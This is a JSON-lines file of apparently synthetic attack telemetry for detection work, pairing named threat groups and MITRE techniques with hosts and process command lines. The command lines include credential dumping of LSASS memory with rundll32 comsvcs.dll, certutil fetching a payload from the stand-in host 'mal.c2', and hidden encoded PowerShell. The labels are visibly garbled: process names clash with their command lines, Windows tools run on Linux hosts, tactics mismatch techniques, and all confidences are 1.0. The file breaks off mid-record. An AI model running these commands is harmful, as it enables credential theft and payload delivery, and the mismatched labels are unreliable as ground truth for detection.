{"attack":{"actor":"APT41","confidence":1.0,"description":"[APT41] performed T1566.001 using fileless technique.","sub_technique":"Phishing: Spearphishing Attachment","tactic":["Persistence","Impact"],"technique_id":"T1566.001"},"event_id":"evt_apt41_20260301T034406000Z_0019295","ground_truth":{"detection_guidance":"Sigma rule for T1566.001 | Join on src_ip within 10m","evasion_used":["LOLBin","Fileless","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.15.206.234","name":"DB-ORACLE-IZJLC1A266","os":"Windows 11"},"impact":{"business_risk":"Domain dominance","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"19295APT41T1566.001"},"network":{"domain":"aws.amazon.com","dst_ip":"1.160.154.27","dst_port":5985,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 1842 C:\\temp\\lsass.dmp full","name":"cmstp.exe","parent_name":"explorer.exe"},"source":"Windows Security Log","timestamp":"2026-11-06T22:24:29.000Z","user":{"name":"CORP\\wkt4kowxgwnv","sid":"S-1-5-21-346356676-850442117-5008"}}
{"attack":{"actor":"Volt Typhoon","confidence":1.0,"description":"[Volt Typhoon] performed T1071.001 using encrypted C2 technique.","sub_technique":"Web Protocols (HTTPS C2)","tactic":["Defense Evasion","Reconnaissance","Impact"],"technique_id":"T1071.001"},"event_id":"evt_volttyphoon_20250301T044346000Z_0019297","ground_truth":{"detection_guidance":"Sigma rule for T1071.001 | Join on src_ip within 10m","evasion_used":["Base64","WMI","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.1.68.132","name":"EC2-INST-C0JERJVK51","os":"Ubuntu 22.04"},"impact":{"business_risk":"Cloud environment takeover","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"19297Volt TyphoonT1071.001"},"network":{"domain":"github.com","dst_ip":"1.152.214.12","dst_port":3389,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"mshta.exe","parent_name":"explorer.exe"},"source":"Network Connection (DS0029)","timestamp":"2025-10-15T18:57:06.000Z","user":{"name":"i-cvsoyl08tym2","sid":"S-1-5-21-495329144-715587584-4856"}}
{"attack":{"actor":"UNC4841","confidence":1.0,"description":"[UNC4841] performed T1059.001 using LOLBin technique.","sub_technique":"PowerShell","tactic":["Credential Access"],"technique_id":"T1059.001"},"event_id":"evt_unc4841_20261202T083050000Z_0019299","ground_truth":{"detection_guidance":"Sigma rule for T1059.001 | Join on src_ip within 10m","evasion_used":["Base64","Fileless","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.69.139.13","name":"EC2-INST-89DF5SMQC9","os":"Amazon Linux 2"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"19299UNC4841T1059.001"},"network":{"domain":"cdn-content.com","dst_ip":"1.121.221.43","dst_port":445,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"cmstp.exe","parent_name":"svchost.exe"},"source":"CloudTrail (DS0028)","timestamp":"2025-05-08T14:47:21.000Z","user":{"name":"arn:aws:iam::vrfrumrumd8e","sid":"S-1-5-21-612931617-237175537-6137"}}
{"attack":{"actor":"Mustang Panda","confidence":1.0,"description":"[Mustang Panda] performed T1071.001 using LOLBin technique.","sub_technique":"Web Protocols (HTTPS C2)","tactic":["Command and Control","Execution","Exfiltration"],"technique_id":"T1071.001"},"event_id":"evt_mustangpanda_20250313T053708000Z_0019301","ground_truth":{"detection_guidance":"Sigma rule for T1071.001 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","LOLBin","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.253.155.150","name":"IAM-ROLE-RWI5N81QK5","os":"Windows Server 2022"},"impact":{"business_risk":"Domain dominance","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"19301Mustang PandaT1071.001"},"network":{"domain":"cdn-content.com","dst_ip":"1.54.216.128","dst_port":445,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"bitsadmin.exe","parent_name":"services.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2025-04-26T05:31:32.000Z","user":{"name":"azuread\\679e6ld29nmg","sid":"S-1-5-21-466677609-794422580-7900"}}
{"attack":{"actor":"APT29","confidence":1.0,"description":"[APT29] performed T1003.001 using fileless technique.","sub_technique":"OS Credential Dumping: LSASS Memory","tactic":["Defense Evasion","Lateral Movement","Reconnaissance"],"technique_id":"T1003.001"},"event_id":"evt_apt29_20260915T140112000Z_0019303","ground_truth":{"detection_guidance":"Sigma rule for T1003.001 | Join on src_ip within 10m","evasion_used":["TLS","LOLBin","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.59.61.142","name":"APP-WEB-IIK4L7UHAZ","os":"Ubuntu 22.04"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"19303APT29T1003.001"},"network":{"domain":"github.com","dst_ip":"1.121.230.10","dst_port":445,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 1014 C:\\temp\\lsass.dmp full","name":"rundll32.exe","parent_name":"svchost.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2025-05-18T18:03:16.000Z","user":{"name":"azuread\\sw0ux9155m2a","sid":"S-1-5-21-748801071-834256978-3060"}}
{"attack":{"actor":"Volt Typhoon","confidence":1.0,"description":"[Volt Typhoon] performed T1003.001 using fileless technique.","sub_technique":"OS Credential Dumping: LSASS Memory","tactic":["Privilege Escalation","Initial Access"],"technique_id":"T1003.001"},"event_id":"evt_volttyphoon_20250823T192005000Z_0019305","ground_truth":{"detection_guidance":"Sigma rule for T1003.001 | Join on src_ip within 10m","evasion_used":["LOLBin","TLS","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.119.47.129","name":"DB-ORACLE-BEYF5VRMUP","os":"Windows 11"},"impact":{"business_risk":"Domain dominance","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"19305Volt TyphoonT1003.001"},"network":{"domain":"aws.amazon.com","dst_ip":"1.57.113.170","dst_port":445,"protocol":"HTTP/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 3020 C:\\temp\\lsass.dmp full","name":"rundll32.exe","parent_name":"explorer.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2026-10-24T03:33:00.000Z","user":{"name":"i-7inqvh3b4kvu","sid":"S-1-5-21-388531012-417516746-4190"}}
{"attack":{"actor":"Scattered Spider","confidence":1.0,"description":"[Scattered Spider] performed T1566.001 using fileless technique.","sub_technique":"Phishing: Spearphishing Attachment","tactic":["Discovery","Privilege Escalation","Persistence"],"technique_id":"T1566.001"},"event_id":"evt_scatteredspider_20260515T150623000Z_0019307","ground_truth":{"detection_guidance":"Sigma rule for T1566.001 | Join on src_ip within 10m","evasion_used":["WMI","TLS","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.129.230.149","name":"DB-ORACLE-XQEUAXS2ZC","os":"Ubuntu 22.04"},"impact":{"business_risk":"Domain dominance","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"19307Scattered SpiderT1566.001"},"network":{"domain":"github.com","dst_ip":"1.7.217.105","dst_port":5985,"protocol":"HTTP/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"wmic.exe","parent_name":"svchost.exe"},"source":"CloudTrail (DS0028)","timestamp":"2025-07-21T11:40:38.000Z","user":{"name":"CORP\\guvqjcctzmp8","sid":"S-1-5-21-537940209-808416197-6587"}}
{"attack":{"actor":"Lapsus$","confidence":1.0,"description":"[Lapsus$] performed T1021.006 using cloud-native technique.","sub_technique":"Windows Remote Management","tactic":["Reconnaissance"],"technique_id":"T1021.006"},"event_id":"evt_lapsus_20250118T053716000Z_0019309","ground_truth":{"detection_guidance":"Sigma rule for T1021.006 | Join on src_ip within 10m","evasion_used":["WMI","LOLBin","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.101.27.203","name":"DB-ORACLE-WFSF7AEXE0","os":"Windows Server 2022"},"impact":{"business_risk":"Cloud environment takeover","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"19309Lapsus$T1021.006"},"network":{"domain":"github.com","dst_ip":"1.113.210.206","dst_port":445,"protocol":"HTTP/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc UQBvAHcAZQByAFMAaABlAGwAbAAgAC0A...","name":"powershell.exe","parent_name":"services.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2026-06-07T21:16:21.000Z","user":{"name":"svc_mi3z8svfah7w","sid":"S-1-5-21-320968162-814103650-7867"}}
{"attack":{"actor":"UNC4841","confidence":1.0,"description":"[UNC4841] performed T1570 using cloud-native technique.","sub_technique":"Lateral Tool Transfer","tactic":["Execution","Defense Evasion"],"technique_id":"T1570"},"event_id":"evt_unc4841_20260927T032323000Z_0019311","ground_truth":{"detection_guidance":"Sigma rule for T1570 | Join on src_ip within 10m","evasion_used":["Base64","Fileless","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.127.54.159","name":"AZURE-VM-YDA0EAPWIC","os":"Windows 11"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"19311UNC4841T1570"},"network":{"domain":"update.microsoft.com","dst_ip":"1.97.104.169","dst_port":443,"protocol":"HTTP/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 3905 C:\\temp\\lsass.dmp full","name":"rundll32.exe","parent_name":"services.exe"},"source":"Sysmon (DS0024)","timestamp":"2026-11-30T19:47:07.000Z","user":{"name":"i-2nk6p9t0m6a0","sid":"S-1-5-21-652659983-830285747-8684"}}
{"attack":{"actor":"APT29","confidence":1.0,"description":"[APT29] performed T1021.006 using cloud-native technique.","sub_technique":"Windows Remote Management","tactic":["Defense Evasion","Command and Control","Privilege Escalation"],"technique_id":"T1021.006"},"event_id":"evt_apt29_20260520T160651000Z_0019313","ground_truth":{"detection_guidance":"Sigma rule for T1021.006 | Join on src_ip within 10m","evasion_used":["LOLBin","JA3 Spoof","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.127.101.35","name":"APP-WEB-F36V3EIJD1","os":"Windows Server 2022"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"19313APT29T1021.006"},"network":{"domain":"update.microsoft.com","dst_ip":"1.130.182.110","dst_port":8443,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"certutil.exe","parent_name":"winlogon.exe"},"source":"Network Connection (DS0029)","timestamp":"2025-10-14T08:48:13.000Z","user":{"name":"arn:aws:iam::kumt1skp1osd","sid":"S-1-5-21-893283692-642825460-2468"}}
{"attack":{"actor":"APT41","confidence":1.0,"description":"[APT41] performed T1003.001 using cloud-native technique.","sub_technique":"OS Credential Dumping: LSASS Memory","tactic":["Execution","Discovery","Defense Evasion"],"technique_id":"T1003.001"},"event_id":"evt_apt41_20260704T134237000Z_0019315","ground_truth":{"detection_guidance":"Sigma rule for T1003.001 | Join on src_ip within 10m","evasion_used":["LOLBin","Base64","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.123.111.206","name":"WIN-FIN-SRV-VSBZBGZJ7F","os":"Ubuntu 22.04"},"impact":{"business_risk":"Data exfiltration channel open","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"19315APT41T1003.001"},"network":{"domain":"update.microsoft.com","dst_ip":"1.20.91.240","dst_port":8443,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc aWV4IChOZXctT2JqZWN0IE5ldC...","name":"certutil.exe","parent_name":"explorer.exe"},"source":"CloudTrail (DS0028)","timestamp":"2025-07-24T12:23:30.000Z","user":{"name":"arn:aws:iam::hjglhwonuwp0","sid":"S-1-5-21-373870815-942070121-3397"}}
{"attack":{"actor":"APT29","confidence":1.0,"description":"[APT29] performed T1531 using cloud-native technique.","sub_technique":"Cloud Service Hijack / Account Access Removal","tactic":["Persistence","Credential Access","Reconnaissance"],"technique_id":"T1531"},"event_id":"evt_apt29_20250512T152906000Z_0019317","ground_truth":{"detection_guidance":"Sigma rule for T1531 | Join on src_ip within 10m","evasion_used":["WMI","TLS","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.198.152.182","name":"WIN-FIN-SRV-KJ3TZIWVOL","os":"Amazon Linux 2"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"19317APT29T1531"},"network":{"domain":"github.com","dst_ip":"1.63.185.197","dst_port":8443,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 2780 C:\\temp\\lsass.dmp full","name":"bitsadmin.exe","parent_name":"winlogon.exe"},"source":"CloudTrail (DS0028)","timestamp":"2026-04-28T15:01:43.000Z","user":{"name":"svc_ub8lv28imgig","sid":"S-1-5-21-273632891-678056693-5560"}}
{"attack":{"actor":"APT29","confidence":1.0,"description":"[APT29] performed T1531 using encrypted C2 technique.","sub_technique":"Cloud Service Hijack / Account Access Removal","tactic":["Credential Access"],"technique_id":"T1531"},"event_id":"evt_apt29_20250414T072652000Z_0019319","ground_truth":{"detection_guidance":"Sigma rule for T1531 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","WMI","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.248.95.57","name":"APP-WEB-FJ81FFXE16","os":"Windows Server 2022"},"impact":{"business_risk":"Data exfiltration channel open","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"19319APT29T1531"},"network":{"domain":"github.com","dst_ip":"1.175.33.243","dst_port":3389,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"certutil.exe","parent_name":"explorer.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2025-10-13T21:54:34.000Z","user":{"name":"i-h10vin872se2","sid":"S-1-5-21-612419413-504237389-4243"}}
{"attack":{"actor":"Lapsus$","confidence":1.0,"description":"[Lapsus$] performed T1484.001 using cloud-native technique.","sub_technique":"Domain Policy Modification: Group Policy Modification","tactic":["Discovery","Defense Evasion"],"technique_id":"T1484.001"},"event_id":"evt_lapsus_20251205T102419000Z_0019321","ground_truth":{"detection_guidance":"Sigma rule for T1484.001 | Join on src_ip within 10m","evasion_used":["WMI","Fileless","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.103.51.252","name":"DB-ORACLE-IM2TS8QVF0","os":"Windows Server 2022"},"impact":{"business_risk":"Data exfiltration channel open","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"19321Lapsus$T1484.001"},"network":{"domain":"update.microsoft.com","dst_ip":"1.103.185.204","dst_port":5985,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc UQBvAHcAZQByAFMAaABlAGwAbAAgAC0A...","name":"mshta.exe","parent_name":"svchost.exe"},"source":"Network Connection (DS0029)","timestamp":"2025-02-28T04:46:13.000Z","user":{"name":"svc_icm64s2adxiz","sid":"S-1-5-21-978410905-399735376-1046"}}
{"attack":{"actor":"APT41","confidence":1.0,"description":"[APT41] performed T1059.001 using fileless technique.","sub_technique":"PowerShell","tactic":["Privilege Escalation","Persistence"],"technique_id":"T1059.001"},"event_id":"evt_apt41_20260408T162823000Z_0019323","ground_truth":{"detection_guidance":"Sigma rule for T1059.001 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","Fileless","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.68.161.193","name":"IAM-ROLE-DH9XFCGBJG","os":"Windows 11"},"impact":{"business_risk":"Cloud environment takeover","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"19323APT41T1059.001"},"network":{"domain":"github.com","dst_ip":"1.78.116.226","dst_port":5985,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 2632 C:\\temp\\lsass.dmp full","name":"bitsadmin.exe","parent_name":"svchost.exe"},"source":"Network Connection (DS0029)","timestamp":"2026-02-28T02:14:33.000Z","user":{"name":"arn:aws:iam::a0ltrrspkmfi","sid":"S-1-5-21-960749112-256580117-2892"}}
{"attack":{"actor":"Lapsus$","confidence":1.0,"description":"[Lapsus$] performed T1484.001 using encrypted C2 technique.","sub_technique":"Domain Policy Modification: Group Policy Modification","tactic":["Exfiltration","Reconnaissance"],"technique_id":"T1484.001"},"event_id":"evt_lapsus_20250923T115450000Z_0019325","ground_truth":{"detection_guidance":"Sigma rule for T1484.001 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","Fileless","LOLBin"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.246.48.73","name":"APP-WEB-2PKRWAQ6PI","os":"Ubuntu 22.04"},"impact":{"business_risk":"Domain dominance","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"19325Lapsus$T1484.001"},"network":{"domain":"aws.amazon.com","dst_ip":"1.117.204.68","dst_port":5985,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc UQBvAHcAZQByAFMAaABlAGwAbAAgAC0A...","name":"wmic.exe","parent_name":"explorer.exe"},"source":"Windows Security Log","timestamp":"2025-05-02T23:57:13.000Z","user":{"name":"CORP\\nd8ci1z751se","sid":"S-1-5-21-266995439-474335436-5902"}}
{"attack":{"actor":"Volt Typhoon","confidence":1.0,"description":"[Volt Typhoon] performed T1484.001 using encrypted C2 technique.","sub_technique":"Domain Policy Modification: Group Policy Modification","tactic":["Initial Access","Defense Evasion"],"technique_id":"T1484.001"},"event_id":"evt_volttyphoon_20250819T075911000Z_0019327","ground_truth":{"detection_guidance":"Sigma rule for T1484.001 | Join on src_ip within 10m","evasion_used":["WMI","Fileless","LOLBin"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.33.128.91","name":"IAM-ROLE-I66B9EJMOU","os":"Ubuntu 22.04"},"impact":{"business_risk":"Cloud environment takeover","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"19327Volt TyphoonT1484.001"},"network":{"domain":"aws.amazon.com","dst_ip":"1.148.167.9","dst_port":445,"protocol":"HTTP/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 2503 C:\\temp\\lsass.dmp full","name":"cmstp.exe","parent_name":"services.exe"},"source":"Windows Security Log","timestamp":"2025-04-23T03:08:55.000Z","user":{"name":"CORP\\2zcp8cjz9ned","sid":"S-1-5-21-430715338-907758995-2100"}}
{"attack":{"actor":"Mustang Panda","confidence":1.0,"description":"[Mustang Panda] performed T1071.001 using LOLBin technique.","sub_technique":"Web Protocols (HTTPS C2)","tactic":["Impact","Privilege Escalation","Defense Evasion"],"technique_id":"T1071.001"},"event_id":"evt_mustangpanda_20260808T231522000Z_0019329","ground_truth":{"detection_guidance":"Sigma rule for T1071.001 | Join on src_ip within 10m","evasion_used":["TLS","Base64","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.40.204.253","name":"EC2-INST-ORA4C8AI1U","os":"Ubuntu 22.04"},"impact":{"business_risk":"Cloud environment takeover","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"19329Mustang PandaT1071.001"},"network":{"domain":"github.com","dst_ip":"1.191.237.199","dst_port":3389,"protocol":"HTTP/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc UQBvAHcAZQByAFMAaABlAGwAbAAgAC0A...","name":"mshta.exe","parent_name":"services.exe"},"source":"Windows Security Log","timestamp":"2025-04-28T08:11:55.000Z","user":{"name":"arn:aws:iam::20vijkkb0lvv","sid":"S-1-5-21-230425796-771243804-3286"}}
{"attack":{"actor":"Lapsus$","confidence":1.0,"description":"[Lapsus$] performed T1098.004 using fileless technique.","sub_technique":"SSH Authorized Keys","tactic":["Defense Evasion","Collection"],"technique_id":"T1098.004"},"event_id":"evt_lapsus_20250815T124634000Z_0019331","ground_truth":{"detection_guidance":"Sigma rule for T1098.004 | Join on src_ip within 10m","evasion_used":["TLS","WMI","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.145.252.219","name":"WIN-FIN-SRV-RM58XEDPXH","os":"Amazon Linux 2"},"impact":{"business_risk":"Long-term persistence achieved","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"19331Lapsus$T1098.004"},"network":{"domain":"github.com","dst_ip":"1.48.35.209","dst_port":445,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc JABkACAALQBlAH...","name":"wmic.exe","parent_name":"winlogon.exe"},"source":"CloudTrail (DS0028)","timestamp":"2025-09-30T15:33:39.000Z","user":{"name":"i-w6pkxers9icp","sid":"S-1-5-21-514899723-773836876-4705"}}
{"attack":{"actor":"Lapsus$","confidence":1.0,"description":"[Lapsus$] performed T1546.003 using cloud-native technique.","sub_technique":"Event Triggered Execution: WMI Event Subscription","tactic":["Lateral Movement","Persistence"],"technique_id":"T1546.003"},"event_id":"evt_lapsus_20261128T090720000Z_0019333","ground_truth":{"detection_guidance":"Sigma rule for T1546.003 | Join on src_ip within 10m","evasion_used":["Base64","WMI","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.75.114.22","name":"DB-ORACLE-DF2O0CBRX9","os":"Ubuntu 22.04"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"19333Lapsus$T1546.003"},"network":{"domain":"update.microsoft.com","dst_ip":"1.180.248.199","dst_port":445,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 1633 C:\\temp\\lsass.dmp full","name":"bitsadmin.exe","parent_name":"svchost.exe"},"source":"Network Connection (DS0029)","timestamp":"2025-08-29T07:08:11.000Z","user":{"name":"arn:aws:iam::vh0alsdv8rih","sid":"S-1-5-21-210448701-522617535-7543"}}
{"attack":{"actor":"Mustang Panda","confidence":1.0,"description":"[Mustang Panda] performed T1531 using encrypted C2 technique.","sub_technique":"Cloud Service Hijack / Account Access Removal","tactic":["Collection"],"technique_id":"T1531"},"event_id":"evt_mustangpanda_20260702T154336000Z_0019335","ground_truth":{"detection_guidance":"Sigma rule for T1531 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","Fileless","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.51.108.51","name":"APP-WEB-677VZZUR4Q","os":"Amazon Linux 2"},"impact":{"business_risk":"Cloud environment takeover","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"19335Mustang PandaT1531"},"network":{"domain":"github.com","dst_ip":"1.137.246.8","dst_port":445,"protocol":"HTTP/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"mshta.exe","parent_name":"winlogon.exe"},"source":"Network Connection (DS0029)","timestamp":"2026-08-02T05:10:52.000Z","user":{"name":"svc_ikw8f407stvm","sid":"S-1-5-21-730093646-662761708-9291"}}
{"attack":{"actor":"UNC4841","confidence":1.0,"description":"[UNC4841] performed T1546.003 using cloud-native technique.","sub_technique":"Event Triggered Execution: WMI Event Subscription","tactic":["Persistence","Command and Control","Privilege Escalation"],"technique_id":"T1546.003"},"event_id":"evt_unc4841_20260725T203515000Z_0019337","ground_truth":{"detection_guidance":"Sigma rule for T1546.003 | Join on src_ip within 10m","evasion_used":["TLS","JA3 Spoof","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.221.45.14","name":"EC2-INST-XJRIX7N73A","os":"Amazon Linux 2"},"impact":{"business_risk":"Long-term persistence achieved","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"19337UNC4841T1546.003"},"network":{"domain":"github.com","dst_ip":"1.130.115.242","dst_port":5985,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc JABkACAALQBlAH...","name":"rundll32.exe","parent_name":"winlogon.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2025-07-26T14:26:45.000Z","user":{"name":"i-vjngrjzj8te9","sid":"S-1-5-21-352120385-677335619-4967"}}
{"attack":{"actor":"APT41","confidence":1.0,"description":"[APT41] performed T1484.001 using cloud-native technique.","sub_technique":"Domain Policy Modification: Group Policy Modification","tactic":["Command and Control","Lateral Movement"],"technique_id":"T1484.001"},"event_id":"evt_apt41_20260222T082049000Z_0019339","ground_truth":{"detection_guidance":"Sigma rule for T1484.001 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","Base64","LOLBin"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.230.75.149","name":"IAM-ROLE-UU8TRJU86J","os":"Windows Server 2022"},"impact":{"business_risk":"Data exfiltration channel open","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"19339APT41T1484.001"},"network":{"domain":"github.com","dst_ip":"1.174.133.86","dst_port":443,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 3606 C:\\temp\\lsass.dmp full","name":"mshta.exe","parent_name":"winlogon.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2026-01-25T16:18:16.000Z","user":{"name":"arn:aws:iam::ujkhz5ezyknx","sid":"S-1-5-21-505468074-185910929-1104"}}
{"attack":{"actor":"APT41","confidence":1.0,"description":"[APT41] performed T1566.001 using encrypted C2 technique.","sub_technique":"Phishing: Spearphishing Attachment","tactic":["Collection"],"technique_id":"T1566.001"},"event_id":"evt_apt41_20250814T020219000Z_0019341","ground_truth":{"detection_guidance":"Sigma rule for T1566.001 | Join on src_ip within 10m","evasion_used":["Fileless","JA3 Spoof","LOLBin"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.117.178.90","name":"APP-WEB-OJLC6JHHR9","os":"Ubuntu 22.04"},"impact":{"business_risk":"Data exfiltration channel open","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"19341APT41T1566.001"},"network":{"domain":"update.microsoft.com","dst_ip":"1.101.124.125","dst_port":5985,"protocol":"HTTP/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 3666 